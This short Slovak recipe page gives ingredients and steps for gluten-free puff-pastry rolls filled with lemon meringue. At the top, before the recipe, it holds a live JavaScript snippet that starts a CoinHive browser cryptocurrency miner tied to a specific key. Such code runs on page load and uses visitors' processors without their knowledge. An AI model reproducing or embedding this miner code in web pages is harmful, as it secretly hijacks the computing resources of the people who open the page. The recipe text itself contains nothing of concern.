

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqcRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebuje: 1 bezlepkové. lístkové cesto (polotovár), 1 žĺtok (na potretie), 2 bielka, 160 g kryštálového cukru, citrónová šťava, práškový cukor (na posypanie).

Postup: Lístkové cesto rozvaľkáme, nakrájame na pásiky, natočíme na kovové trubičky. Dáme na plech vyložený papierom na pečenie, potrieme žĺtkom a upečieme. Vyšľaháme bielka, pridáme cukor a ďalej šľaháme nad parou. Po zhutnutí dáme preč z pary a pridáme citrónovú šťavu. Penou naplníme trubičky a posypeme práškovým cukrom.